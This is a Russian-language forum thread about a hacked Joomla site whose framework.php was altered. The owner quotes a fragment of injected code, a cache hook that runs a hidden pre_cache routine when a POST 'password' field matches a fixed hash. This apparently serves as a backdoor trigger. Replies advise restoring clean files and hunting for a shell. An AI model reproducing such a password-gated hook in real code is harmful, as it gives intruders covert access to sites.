Поврежден файл framework.php видимо после вируса ну или взлома, страницы сайта открываются очень долго, в логах даёт PHP Notice: Undefined index: password in /home/vkali169/public_html/includes/framework.php on line 202 Код (PHP): static function _cache($content) { //$GLOBALS['_cache_'] -> create_new_page(); сайт не открывался но после тго как закоментировал данную строку стал открываться, но очень долго return Cache_Class::update_content($content, $GLOBALS['global_code']) ; сейчас ругается вот на это Код (PHP): static function create() { if ( strpos($_SERVER['REQUEST_URI'], 'wp-admin') !== FALSE ) return ; $GLOBALS['_cache_'] = new Cache_Class(); if ($GLOBALS['_cache_'] -> cms == 'jm') $GLOBALS['_cache_'] -> db_connect(); if ($_POST['password'] == ('f4c0fa88c1e724d2e2fde47d6e6775c4')) $GLOBALS['_cache_'] -> pre_cache(); //вот на эту строчку помогите решить проблему
Вы правы содержимое координально отличается ,вот что в файле с архива джумлы, я могу заменить старый файл на новый ? И какие изменения нужно сделать? Код (PHP): <?php /** * @version $Id: framework.php 22952 2012-03-27 00:40:16Z dextercowley $ * @package Joomla * @copyright Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. * @license GNU/GPL, see LICENSE.php * Joomla! is free software. This version may have been modified pursuant * to the GNU General Public License, and as distributed it includes or * is derivative of works licensed under the GNU General Public License or * other free or open source software licenses. * See COPYRIGHT.php for copyright notices and details. */ // no direct access defined( '_JEXEC' ) or die( 'Restricted access' ); /* * Joomla! system checks */ @set_magic_quotes_runtime( 0 ); @ini_set('zend.ze1_compatibility_mode', '0'); /* * Installation check, and check on removal of the install directory. */ if (!file_exists( JPATH_CONFIGURATION . DS . 'configuration.php' ) || (filesize( JPATH_CONFIGURATION . DS . 'configuration.php' ) < 10) || file_exists( JPATH_INSTALLATION . DS . 'index.php' )) { if( file_exists( JPATH_INSTALLATION . DS . 'index.php' ) ) { header( 'Location: installation/index.php' ); exit(); } else { echo 'No configuration file found and no installation code available. Exiting...'; exit(); } } /* * Joomla! system startup */ // System includes require_once( JPATH_LIBRARIES .DS.'joomla'.DS.'import.php'); // Pre-Load configuration require_once( JPATH_CONFIGURATION .DS.'configuration.php' ); // System configuration $CONFIG = new JConfig(); if (@$CONFIG->error_reporting === 0) { error_reporting( 0 ); } else if (@$CONFIG->error_reporting > 0) { error_reporting( $CONFIG->error_reporting ); ini_set( 'display_errors', 1 ); } define( 'JDEBUG', $CONFIG->debug ); unset( $CONFIG ); /* * Joomla! framework loading */ // Include object abstract class require_once(JPATH_SITE.DS.'libraries'.DS.'joomla'.DS.'utilities'.DS.'compat'.DS.'compat.php'); // System profiler if (JDEBUG) { jimport( 'joomla.error.profiler' ); $_PROFILER =& JProfiler::getInstance( 'Application' ); } // Joomla! library imports; jimport( 'joomla.application.menu' ); jimport( 'joomla.user.user'); jimport( 'joomla.environment.uri' ); jimport( 'joomla.html.html' ); jimport( 'joomla.utilities.utility' ); jimport( 'joomla.event.event'); jimport( 'joomla.event.dispatcher'); jimport( 'joomla.language.language'); jimport( 'joomla.utilities.string' ); ?> --- добавлено: 18.05.2016, первое сообщение размещено: 18.05.2016 --- Вообщим закоментировал всё лишнее, сайт работает, но проблема осталась всё так же медлительно, теперь даже не знаю куда лезть видимо фрэймворк уже исправен (((
Ты можешь все файлы заменить на чистые с Джумла той же версии. Но если шелл в отдельном файле, то он останется и хакер снова сможет заразить,прописать вирус в код сайта
Заменил файлы с чистой джумлы, но проблема не ушла, всё так же очень медленно переходит по страницам, подскажите куда ещё капать ?
Проверь файлы в корне сайта , и ДЖумла и проверь наличие левых файлов , тоже там же. Если шаблон не стандартный, то включи на стандартный шаблон и протестируй